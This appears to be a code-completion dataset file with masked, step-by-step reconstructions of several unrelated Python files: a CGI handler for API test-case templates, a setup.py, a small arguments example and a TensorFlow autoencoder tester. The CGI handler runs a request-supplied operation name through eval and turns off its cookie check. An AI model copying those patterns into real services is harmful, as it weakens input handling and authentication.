{ "blob_id": "5282e9a9e87fd7fd6053f816048f371fbe190046", "index": 5650, "step-1": "<mask token>\n\n\nclass Ccase_model(cgibase):\n\n def __init__(self):\n return cgibase.__init__(self)\n <mask token>\n\n def cmadd(self):\n self.log.debug('cmadd in.')\n req = self.input['input']\n name = req['name']\n pid = req['pid']\n ip = req['ip']\n url = req['url']\n method = req['method']\n type = req['type']\n num = Case_model().cmadd(name=name, pid=pid, ip=ip, url=url, method\n =method, type=type)\n if num:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n\n def cmquery(self):\n self.log.debug('cmquery in.')\n req = self.input['input']\n pid = req['pid']\n page = req['page']\n limitnum = 8\n if page:\n skipnum = (int(page) - 1) * limitnum\n list0 = Case_model().cmquery_page(pid=pid, skip_num=skipnum,\n limit_num=limitnum)\n self.out = {'data': list0}\n else:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0,\n limit_num=limitnum)\n self.out = {'total': total, 'data': list0}\n <mask token>\n <mask token>\n <mask token>\n\n def cmupdate(self):\n self.log.debug('cmupdate in.')\n req = self.input['input']\n id = req['id']\n name = req['name']\n pid = req['pid']\n ip = req['ip']\n url = req['url']\n method = req['method']\n type = req['type']\n istrue = Case_model().cmupdate(id=id, name=name, pid=pid, ip=ip,\n url=url, method=method, type=type)\n if istrue:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n\n def cmdelete(self):\n self.log.debug('cmdelete in.')\n req = self.input['input']\n id = req['id']\n pid = req['pid']\n if isinstance(id, list):\n total = 0\n for i in id:\n num = Case_model().cmdelete(i)\n if num:\n total += 1\n if total == len(id):\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0,\n limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n else:\n num = Case_model().cmdelete(id)\n if num:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0,\n limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass Ccase_model(cgibase):\n\n def __init__(self):\n return cgibase.__init__(self)\n\n def onInit(self):\n cgibase.SetNoCheckCookie(self)\n opr = cgibase.onInit(self)\n if opr is None:\n return\n if not hasattr(self, opr):\n self.out = g_err['input_err']\n return\n eval('self.%s()' % opr)\n\n def cmadd(self):\n self.log.debug('cmadd in.')\n req = self.input['input']\n name = req['name']\n pid = req['pid']\n ip = req['ip']\n url = req['url']\n method = req['method']\n type = req['type']\n num = Case_model().cmadd(name=name, pid=pid, ip=ip, url=url, method\n =method, type=type)\n if num:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n\n def cmquery(self):\n self.log.debug('cmquery in.')\n req = self.input['input']\n pid = req['pid']\n page = req['page']\n limitnum = 8\n if page:\n skipnum = (int(page) - 1) * limitnum\n list0 = Case_model().cmquery_page(pid=pid, skip_num=skipnum,\n limit_num=limitnum)\n self.out = {'data': list0}\n else:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0,\n limit_num=limitnum)\n self.out = {'total': total, 'data': list0}\n\n def cmquery_id_name(self):\n self.log.debug('cmquery_id_name in.')\n req = self.input['input']\n pid = req['pid']\n list0 = Case_model().cmquery_id_name(pid=pid)\n self.out = {'data': list0}\n <mask token>\n\n def cmquery_by_id(self):\n self.log.debug('cmquery_by_id in.')\n req = self.input['input']\n id = req['id']\n case_model = Case_model().cmqueryone(id=id)\n if case_model:\n self.out = {'status': 0, 'data': case_model}\n else:\n self.out = {'status': 1}\n\n def cmupdate(self):\n self.log.debug('cmupdate in.')\n req = self.input['input']\n id = req['id']\n name = req['name']\n pid = req['pid']\n ip = req['ip']\n url = req['url']\n method = req['method']\n type = req['type']\n istrue = Case_model().cmupdate(id=id, name=name, pid=pid, ip=ip,\n url=url, method=method, type=type)\n if istrue:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n\n def cmdelete(self):\n self.log.debug('cmdelete in.')\n req = self.input['input']\n id = req['id']\n pid = req['pid']\n if isinstance(id, list):\n total = 0\n for i in id:\n num = Case_model().cmdelete(i)\n if num:\n total += 1\n if total == len(id):\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0,\n limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n else:\n num = Case_model().cmdelete(id)\n if num:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0,\n limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass Ccase_model(cgibase):\n\n def __init__(self):\n return cgibase.__init__(self)\n\n def onInit(self):\n cgibase.SetNoCheckCookie(self)\n opr = cgibase.onInit(self)\n if opr is None:\n return\n if not hasattr(self, opr):\n self.out = g_err['input_err']\n return\n eval('self.%s()' % opr)\n\n def cmadd(self):\n self.log.debug('cmadd in.')\n req = self.input['input']\n name = req['name']\n pid = req['pid']\n ip = req['ip']\n url = req['url']\n method = req['method']\n type = req['type']\n num = Case_model().cmadd(name=name, pid=pid, ip=ip, url=url, method\n =method, type=type)\n if num:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n\n def cmquery(self):\n self.log.debug('cmquery in.')\n req = self.input['input']\n pid = req['pid']\n page = req['page']\n limitnum = 8\n if page:\n skipnum = (int(page) - 1) * limitnum\n list0 = Case_model().cmquery_page(pid=pid, skip_num=skipnum,\n limit_num=limitnum)\n self.out = {'data': list0}\n else:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0,\n limit_num=limitnum)\n self.out = {'total': total, 'data': list0}\n\n def cmquery_id_name(self):\n self.log.debug('cmquery_id_name in.')\n req = self.input['input']\n pid = req['pid']\n list0 = Case_model().cmquery_id_name(pid=pid)\n self.out = {'data': list0}\n\n def cmquery_by_name(self):\n self.log.debug('cmquery_by_name in.')\n req = self.input['input']\n pid = req['pid']\n name = req['name']\n page = req['page']\n limitnum = 8\n if page:\n skipnum = (int(page) - 1) * limitnum\n list0 = Case_model().cmquery_page_by_name(pid=pid, skip_num=\n skipnum, limit_num=limitnum, name=name)\n self.out = {'data': list0}\n else:\n total = Case_model().cmquery_total_by_name(pid=pid, name=name)\n list0 = Case_model().cmquery_page_by_name(pid=pid, skip_num=0,\n limit_num=limitnum, name=name)\n self.out = {'total': total, 'data': list0}\n\n def cmquery_by_id(self):\n self.log.debug('cmquery_by_id in.')\n req = self.input['input']\n id = req['id']\n case_model = Case_model().cmqueryone(id=id)\n if case_model:\n self.out = {'status': 0, 'data': case_model}\n else:\n self.out = {'status': 1}\n\n def cmupdate(self):\n self.log.debug('cmupdate in.')\n req = self.input['input']\n id = req['id']\n name = req['name']\n pid = req['pid']\n ip = req['ip']\n url = req['url']\n method = req['method']\n type = req['type']\n istrue = Case_model().cmupdate(id=id, name=name, pid=pid, ip=ip,\n url=url, method=method, type=type)\n if istrue:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n\n def cmdelete(self):\n self.log.debug('cmdelete in.')\n req = self.input['input']\n id = req['id']\n pid = req['pid']\n if isinstance(id, list):\n total = 0\n for i in id:\n num = Case_model().cmdelete(i)\n if num:\n total += 1\n if total == len(id):\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0,\n limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n else:\n num = Case_model().cmdelete(id)\n if num:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0,\n limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\nclass Ccase_model(cgibase):\n\n def __init__(self):\n return cgibase.__init__(self)\n\n def onInit(self):\n cgibase.SetNoCheckCookie(self)\n opr = cgibase.onInit(self)\n if opr is None:\n return\n if not hasattr(self, opr):\n self.out = g_err['input_err']\n return\n eval('self.%s()' % opr)\n\n def cmadd(self):\n self.log.debug('cmadd in.')\n req = self.input['input']\n name = req['name']\n pid = req['pid']\n ip = req['ip']\n url = req['url']\n method = req['method']\n type = req['type']\n num = Case_model().cmadd(name=name, pid=pid, ip=ip, url=url, method\n =method, type=type)\n if num:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n\n def cmquery(self):\n self.log.debug('cmquery in.')\n req = self.input['input']\n pid = req['pid']\n page = req['page']\n limitnum = 8\n if page:\n skipnum = (int(page) - 1) * limitnum\n list0 = Case_model().cmquery_page(pid=pid, skip_num=skipnum,\n limit_num=limitnum)\n self.out = {'data': list0}\n else:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0,\n limit_num=limitnum)\n self.out = {'total': total, 'data': list0}\n\n def cmquery_id_name(self):\n self.log.debug('cmquery_id_name in.')\n req = self.input['input']\n pid = req['pid']\n list0 = Case_model().cmquery_id_name(pid=pid)\n self.out = {'data': list0}\n\n def cmquery_by_name(self):\n self.log.debug('cmquery_by_name in.')\n req = self.input['input']\n pid = req['pid']\n name = req['name']\n page = req['page']\n limitnum = 8\n if page:\n skipnum = (int(page) - 1) * limitnum\n list0 = Case_model().cmquery_page_by_name(pid=pid, skip_num=\n skipnum, limit_num=limitnum, name=name)\n self.out = {'data': list0}\n else:\n total = Case_model().cmquery_total_by_name(pid=pid, name=name)\n list0 = Case_model().cmquery_page_by_name(pid=pid, skip_num=0,\n limit_num=limitnum, name=name)\n self.out = {'total': total, 'data': list0}\n\n def cmquery_by_id(self):\n self.log.debug('cmquery_by_id in.')\n req = self.input['input']\n id = req['id']\n case_model = Case_model().cmqueryone(id=id)\n if case_model:\n self.out = {'status': 0, 'data': case_model}\n else:\n self.out = {'status': 1}\n\n def cmupdate(self):\n self.log.debug('cmupdate in.')\n req = self.input['input']\n id = req['id']\n name = req['name']\n pid = req['pid']\n ip = req['ip']\n url = req['url']\n method = req['method']\n type = req['type']\n istrue = Case_model().cmupdate(id=id, name=name, pid=pid, ip=ip,\n url=url, method=method, type=type)\n if istrue:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n\n def cmdelete(self):\n self.log.debug('cmdelete in.')\n req = self.input['input']\n id = req['id']\n pid = req['pid']\n if isinstance(id, list):\n total = 0\n for i in id:\n num = Case_model().cmdelete(i)\n if num:\n total += 1\n if total == len(id):\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0,\n limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n else:\n num = Case_model().cmdelete(id)\n if num:\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0,\n limit_num=8)\n self.out = {'status': 0, 'total': total, 'data': list0}\n else:\n self.out = {'status': 1}\n\n\nif __name__ == '__main__':\n pass\n", "step-5": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom tp_global import *\nfrom cgibase import cgibase\nfrom tp_mongodb import *\nimport json\nimport requests\n\nclass Ccase_model(cgibase):\n def __init__(self):\n return cgibase.__init__(self)\n\n def onInit(self):\n cgibase.SetNoCheckCookie(self)\n opr = cgibase.onInit(self)\n if opr is None:\n return\n if not hasattr(self, opr):\n self.out = g_err[\"input_err\"]\n return\n eval(\"self.%s()\"%opr)\n\n # 新增模版,所需参数opr,name, pid, ip, url, method, type\n def cmadd(self):\n self.log.debug(\"cmadd in.\")\n req = self.input[\"input\"]\n # 模版名\n name = req[\"name\"]\n # 模版所属项目id\n pid = req[\"pid\"]\n # API主机\n ip = req[\"ip\"]\n # 请求url\n url = req[\"url\"]\n # 请求方法\n method = req[\"method\"]\n # 请求类型\n type = req[\"type\"]\n # 新增成功则返回模版ID,失败返回空\n num = Case_model().cmadd(name=name, pid=pid, ip=ip, url=url,\n method=method, type=type)\n if num:\n # 重新查询\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8)\n self.out = {\"status\": 0, \"total\": total, \"data\": list0}\n else:\n self.out = {\"status\":1}\n\n\n # 查询指定项目模版列表,所需参数opr,pid,page\n def cmquery(self):\n self.log.debug(\"cmquery in.\")\n req = self.input[\"input\"]\n # 指定项目id\n pid = req[\"pid\"]\n # 当前页码数,第一次查询是默认为0\n page = req[\"page\"]\n # 每页显示条数\n limitnum = 8\n if page:\n # 数据库查询时跳过的条数\n skipnum = (int(page)-1) * limitnum\n list0 = Case_model().cmquery_page(pid=pid, skip_num=skipnum, limit_num=limitnum)\n self.out = {\"data\": list0}\n else:\n # 第一次查询,页码为0,查询总条数,用于前台分页\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=limitnum)\n self.out = {\"total\": total, \"data\": list0}\n\n # 查询指定项目模版的id和名称,用于新增用例,所需参数opr,pid\n def cmquery_id_name(self):\n self.log.debug(\"cmquery_id_name in.\")\n req = self.input[\"input\"]\n # 指定的项目id\n pid = req[\"pid\"]\n list0 = Case_model().cmquery_id_name(pid=pid)\n self.out = {\"data\": list0}\n\n # 通过模块名称模糊查询指定项目模版列表,所需参数opr,pid,name,page\n def cmquery_by_name(self):\n self.log.debug(\"cmquery_by_name in.\")\n req = self.input[\"input\"]\n # 指定项目id\n pid = req[\"pid\"]\n # 模版名称\n name = req[\"name\"]\n # 当前页码数,第一次查询是默认为0\n page = req[\"page\"]\n # 每页显示条数\n limitnum = 8\n if page:\n # 数据库查询时跳过的条数\n skipnum = (int(page) - 1) * limitnum\n list0 = Case_model().cmquery_page_by_name(pid=pid, skip_num=skipnum, limit_num=limitnum, name=name)\n self.out = {\"data\": list0}\n else:\n # 第一次查询,页码为0,查询总条数,用于前台分页\n total = Case_model().cmquery_total_by_name(pid=pid, name=name)\n list0 = Case_model().cmquery_page_by_name(pid=pid, skip_num=0, limit_num=limitnum, name=name)\n self.out = {\"total\": total, \"data\": list0}\n\n # 通过id去查询用例模版,所需参数opr,id\n def cmquery_by_id(self):\n self.log.debug(\"cmquery_by_id in.\")\n req = self.input[\"input\"]\n # 模版id\n id = req[\"id\"]\n case_model = Case_model().cmqueryone(id=id)\n if case_model:\n self.out = {\"status\": 0, \"data\": case_model}\n else:\n self.out = {\"status\": 1}\n\n # 编辑模版,所需参数opr, id, name, pid, ip, url, method, type\n def cmupdate(self):\n self.log.debug(\"cmupdate in.\")\n req = self.input[\"input\"]\n # 模版id\n id = req[\"id\"]\n # 模版名\n name = req[\"name\"]\n # 项目名\n pid = req[\"pid\"]\n # API主机\n ip = req[\"ip\"]\n # 请求url\n url = req[\"url\"]\n # 请求方法\n method = req[\"method\"]\n # 请求类型\n type = req[\"type\"]\n # 返回true(更新成功)/false(更新失败)\n istrue = Case_model().cmupdate(id=id, name=name, pid=pid,\n ip=ip, url=url, method=method, type=type)\n if istrue:\n # 重新查询\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8)\n self.out = {\"status\": 0, \"total\": total, \"data\": list0}\n else:\n self.out = {\"status\":1}\n\n\n # 删除模版,所需参数opr,id,pid\n def cmdelete(self):\n self.log.debug(\"cmdelete in.\")\n req = self.input[\"input\"]\n # 模版id\n id = req[\"id\"]\n # 项目id\n pid = req[\"pid\"]\n # 批量删除\n if isinstance(id, list):\n # 成功删除的个数\n total = 0\n # 循环删除\n for i in id:\n num = Case_model().cmdelete(i)\n if num:\n total += 1\n if total == len(id):\n # 重新查询\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8)\n self.out = {\"status\": 0, \"total\": total, \"data\": list0}\n else:\n self.out = {\"status\": 1}\n # 删除单个\n else:\n # 返回1(删除成功)/0(删除失败)\n num = Case_model().cmdelete(id)\n if num:\n # 重新查询\n total = Case_model().cmquery_total(pid=pid)\n list0 = Case_model().cmquery_page(pid=pid, skip_num=0, limit_num=8)\n self.out = {\"status\": 0, \"total\": total, \"data\": list0}\n else:\n self.out = {\"status\": 1}\n\nif __name__ == \"__main__\":\n\n pass", "step-ids": [ 6, 9, 10, 11, 13 ] }
[ 6, 9, 10, 11, 13 ]
from setuptools import setup def readme(): with open('README.rst') as f: return f.read() setup(name = "keputils", version = "0.2.1", description = "Basic module for interaction with KOI and Kepler-stellar tables.", long_description = readme(), author = "Timothy D. Morton", author_email = "tim.morton@gmail.com", url = "https://github.com/timothydmorton/keputils", packages = ['keputils'], scripts = ['scripts/koiquery'], #entry_points = {'console_scripts' : ['koiquery = koiquery:main']}, classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Science/Research', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Scientific/Engineering', 'Topic :: Scientific/Engineering :: Astronomy' ], install_requires=['pandas>=0.13','simpledist'], zip_safe=False )
normal
{ "blob_id": "6da828a797efac7c37723db96a2682e960c317b5", "index": 1007, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef readme():\n with open('README.rst') as f:\n return f.read()\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef readme():\n with open('README.rst') as f:\n return f.read()\n\n\nsetup(name='keputils', version='0.2.1', description=\n 'Basic module for interaction with KOI and Kepler-stellar tables.',\n long_description=readme(), author='Timothy D. Morton', author_email=\n 'tim.morton@gmail.com', url=\n 'https://github.com/timothydmorton/keputils', packages=['keputils'],\n scripts=['scripts/koiquery'], classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Science/Research',\n 'Operating System :: OS Independent', 'Programming Language :: Python',\n 'Topic :: Scientific/Engineering',\n 'Topic :: Scientific/Engineering :: Astronomy'], install_requires=[\n 'pandas>=0.13', 'simpledist'], zip_safe=False)\n", "step-4": "from setuptools import setup\n\n\ndef readme():\n with open('README.rst') as f:\n return f.read()\n\n\nsetup(name='keputils', version='0.2.1', description=\n 'Basic module for interaction with KOI and Kepler-stellar tables.',\n long_description=readme(), author='Timothy D. Morton', author_email=\n 'tim.morton@gmail.com', url=\n 'https://github.com/timothydmorton/keputils', packages=['keputils'],\n scripts=['scripts/koiquery'], classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Science/Research',\n 'Operating System :: OS Independent', 'Programming Language :: Python',\n 'Topic :: Scientific/Engineering',\n 'Topic :: Scientific/Engineering :: Astronomy'], install_requires=[\n 'pandas>=0.13', 'simpledist'], zip_safe=False)\n", "step-5": "from setuptools import setup\n\ndef readme():\n with open('README.rst') as f:\n return f.read()\n\nsetup(name = \"keputils\",\n version = \"0.2.1\",\n description = \"Basic module for interaction with KOI and Kepler-stellar tables.\",\n long_description = readme(),\n author = \"Timothy D. Morton\",\n author_email = \"tim.morton@gmail.com\",\n url = \"https://github.com/timothydmorton/keputils\",\n packages = ['keputils'],\n scripts = ['scripts/koiquery'],\n #entry_points = {'console_scripts' : ['koiquery = koiquery:main']},\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Science/Research',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Topic :: Scientific/Engineering',\n 'Topic :: Scientific/Engineering :: Astronomy'\n ],\n install_requires=['pandas>=0.13','simpledist'],\n zip_safe=False\n) \n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> def multiple_parameters(name, location): print(f'Hello {name}') print(f'I live in {location}') <|reserved_special_token_0|> <|reserved_special_token_1|> def multiple_parameters(name, location): print(f'Hello {name}') print(f'I live in {location}') multiple_parameters('Selva', 'Chennai') multiple_parameters(location='Chennai', name='Selva') <|reserved_special_token_1|> def multiple_parameters(name, location): print(f"Hello {name}") print(f"I live in {location}") #positional arguments multiple_parameters("Selva", "Chennai") #keyword arguments multiple_parameters(location="Chennai", name="Selva")
flexible
{ "blob_id": "baf3bde709ec04b6f41dce8a8b8512ad7847c164", "index": 3100, "step-1": "<mask token>\n", "step-2": "def multiple_parameters(name, location):\n print(f'Hello {name}')\n print(f'I live in {location}')\n\n\n<mask token>\n", "step-3": "def multiple_parameters(name, location):\n print(f'Hello {name}')\n print(f'I live in {location}')\n\n\nmultiple_parameters('Selva', 'Chennai')\nmultiple_parameters(location='Chennai', name='Selva')\n", "step-4": "def multiple_parameters(name, location):\n print(f\"Hello {name}\")\n print(f\"I live in {location}\")\n\n#positional arguments\nmultiple_parameters(\"Selva\", \"Chennai\")\n\n#keyword arguments\nmultiple_parameters(location=\"Chennai\", name=\"Selva\")\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> class Test: def __init__(self): self.iter_test = 0 <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Test: def __init__(self): self.iter_test = 0 def run_epoch(self, session, min_loss, model_obj, reader, input, writer): global epoch_combined_loss, step params = model_obj.params epoch_combined_loss = 0.0 output_file = open(model_obj.dir_obj.log_emb_path + '/latent_representation.csv', 'w') for step, curr_input in enumerate(reader.data_iterator(input)): feed_dict = {model_obj.input: curr_input} total_loss, latent_rep, summary_test = session.run([model_obj. loss, model_obj.rep, model_obj.merged_summary_test], feed_dict=feed_dict) epoch_combined_loss += total_loss self.iter_test += 1 if self.iter_test % params.log_step == 0 and params.log: writer.add_summary(summary_test, self.iter_test) for each_rep in latent_rep: output_file.write(' '.join(str(x) for x in each_rep).strip( ) + '\n') epoch_combined_loss /= step output_file.close() return epoch_combined_loss, min_loss <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Test: def __init__(self): self.iter_test = 0 def run_epoch(self, session, min_loss, model_obj, reader, input, writer): global epoch_combined_loss, step params = model_obj.params epoch_combined_loss = 0.0 output_file = open(model_obj.dir_obj.log_emb_path + '/latent_representation.csv', 'w') for step, curr_input in enumerate(reader.data_iterator(input)): feed_dict = {model_obj.input: curr_input} total_loss, latent_rep, summary_test = session.run([model_obj. loss, model_obj.rep, model_obj.merged_summary_test], feed_dict=feed_dict) epoch_combined_loss += total_loss self.iter_test += 1 if self.iter_test % params.log_step == 0 and params.log: writer.add_summary(summary_test, self.iter_test) for each_rep in latent_rep: output_file.write(' '.join(str(x) for x in each_rep).strip( ) + '\n') epoch_combined_loss /= step output_file.close() return epoch_combined_loss, min_loss def run_test(self): global test_writer mode_test = 'TE' params_test = ParamsClass(mode=mode_test) dir_test = Directory(mode_test) test_reader = Reader(params_test) test_instances = test_reader.read_image_data(dir_test.data_filename) random.seed(4321) global_min_loss = sys.float_info.max print('***** INITIALIZING TF GRAPH *****') with tf.Graph().as_default(), tf.Session() as session: with tf.variable_scope('model'): test_obj = Autoencoder(params_test, dir_test) model_saver = tf.train.Saver() model_saver.restore(session, test_obj.dir_obj.test_model) if params_test.log: test_writer = tf.summary.FileWriter(dir_test.log_path + '/test' ) print('**** TF GRAPH INITIALIZED ****') start_time = time.time() test_loss, _ = self.run_epoch(session, global_min_loss, test_obj, test_reader, test_instances, test_writer) print('Epoch: %d Test loss: %.4f' % (1, test_loss)) curr_time = time.time() print('1 epoch run takes ' + str((curr_time - start_time) / 60) + ' minutes.') if params_test.log: test_writer.close() <|reserved_special_token_1|> import numpy as np from global_module.implementation_module import Autoencoder from global_module.implementation_module import Reader import tensorflow as tf from global_module.settings_module import ParamsClass, Directory, Dictionary import random import sys import time class Test: def __init__(self): self.iter_test = 0 def run_epoch(self, session, min_loss, model_obj, reader, input, writer): global epoch_combined_loss, step params = model_obj.params epoch_combined_loss = 0.0 output_file = open(model_obj.dir_obj.log_emb_path + '/latent_representation.csv', 'w') for step, curr_input in enumerate(reader.data_iterator(input)): feed_dict = {model_obj.input: curr_input} total_loss, latent_rep, summary_test = session.run([model_obj. loss, model_obj.rep, model_obj.merged_summary_test], feed_dict=feed_dict) epoch_combined_loss += total_loss self.iter_test += 1 if self.iter_test % params.log_step == 0 and params.log: writer.add_summary(summary_test, self.iter_test) for each_rep in latent_rep: output_file.write(' '.join(str(x) for x in each_rep).strip( ) + '\n') epoch_combined_loss /= step output_file.close() return epoch_combined_loss, min_loss def run_test(self): global test_writer mode_test = 'TE' params_test = ParamsClass(mode=mode_test) dir_test = Directory(mode_test) test_reader = Reader(params_test) test_instances = test_reader.read_image_data(dir_test.data_filename) random.seed(4321) global_min_loss = sys.float_info.max print('***** INITIALIZING TF GRAPH *****') with tf.Graph().as_default(), tf.Session() as session: with tf.variable_scope('model'): test_obj = Autoencoder(params_test, dir_test) model_saver = tf.train.Saver() model_saver.restore(session, test_obj.dir_obj.test_model) if params_test.log: test_writer = tf.summary.FileWriter(dir_test.log_path + '/test' ) print('**** TF GRAPH INITIALIZED ****') start_time = time.time() test_loss, _ = self.run_epoch(session, global_min_loss, test_obj, test_reader, test_instances, test_writer) print('Epoch: %d Test loss: %.4f' % (1, test_loss)) curr_time = time.time() print('1 epoch run takes ' + str((curr_time - start_time) / 60) + ' minutes.') if params_test.log: test_writer.close() <|reserved_special_token_1|> import numpy as np from global_module.implementation_module import Autoencoder from global_module.implementation_module import Reader import tensorflow as tf from global_module.settings_module import ParamsClass, Directory, Dictionary import random import sys import time class Test: def __init__(self): self.iter_test = 0 def run_epoch(self, session, min_loss, model_obj, reader, input, writer): global epoch_combined_loss, step params = model_obj.params epoch_combined_loss = 0.0 output_file = open(model_obj.dir_obj.log_emb_path + '/latent_representation.csv', 'w') for step, curr_input in enumerate(reader.data_iterator(input)): feed_dict = {model_obj.input: curr_input} total_loss, latent_rep, summary_test = session.run([model_obj.loss, model_obj.rep, model_obj.merged_summary_test], feed_dict=feed_dict) epoch_combined_loss += total_loss self.iter_test += 1 if self.iter_test % params.log_step == 0 and params.log: writer.add_summary(summary_test, self.iter_test) for each_rep in latent_rep: output_file.write(' '.join(str(x) for x in each_rep).strip() + '\n') epoch_combined_loss /= step output_file.close() return epoch_combined_loss, min_loss def run_test(self): global test_writer mode_test = 'TE' # test object params_test = ParamsClass(mode=mode_test) dir_test = Directory(mode_test) test_reader = Reader(params_test) test_instances = test_reader.read_image_data(dir_test.data_filename) random.seed(4321) global_min_loss = sys.float_info.max print('***** INITIALIZING TF GRAPH *****') with tf.Graph().as_default(), tf.Session() as session: with tf.variable_scope("model"): test_obj = Autoencoder(params_test, dir_test) model_saver = tf.train.Saver() model_saver.restore(session, test_obj.dir_obj.test_model) if params_test.log: test_writer = tf.summary.FileWriter(dir_test.log_path + '/test') print('**** TF GRAPH INITIALIZED ****') start_time = time.time() test_loss, _, = self.run_epoch(session, global_min_loss, test_obj, test_reader, test_instances, test_writer) print("Epoch: %d Test loss: %.4f" % (1, test_loss)) curr_time = time.time() print('1 epoch run takes ' + str((curr_time - start_time) / 60) + ' minutes.') if params_test.log: test_writer.close()
flexible
{ "blob_id": "e008f9b11a9b7480e9fb53391870809d6dea5497", "index": 3953, "step-1": "<mask token>\n\n\nclass Test:\n\n def __init__(self):\n self.iter_test = 0\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Test:\n\n def __init__(self):\n self.iter_test = 0\n\n def run_epoch(self, session, min_loss, model_obj, reader, input, writer):\n global epoch_combined_loss, step\n params = model_obj.params\n epoch_combined_loss = 0.0\n output_file = open(model_obj.dir_obj.log_emb_path +\n '/latent_representation.csv', 'w')\n for step, curr_input in enumerate(reader.data_iterator(input)):\n feed_dict = {model_obj.input: curr_input}\n total_loss, latent_rep, summary_test = session.run([model_obj.\n loss, model_obj.rep, model_obj.merged_summary_test],\n feed_dict=feed_dict)\n epoch_combined_loss += total_loss\n self.iter_test += 1\n if self.iter_test % params.log_step == 0 and params.log:\n writer.add_summary(summary_test, self.iter_test)\n for each_rep in latent_rep:\n output_file.write(' '.join(str(x) for x in each_rep).strip(\n ) + '\\n')\n epoch_combined_loss /= step\n output_file.close()\n return epoch_combined_loss, min_loss\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Test:\n\n def __init__(self):\n self.iter_test = 0\n\n def run_epoch(self, session, min_loss, model_obj, reader, input, writer):\n global epoch_combined_loss, step\n params = model_obj.params\n epoch_combined_loss = 0.0\n output_file = 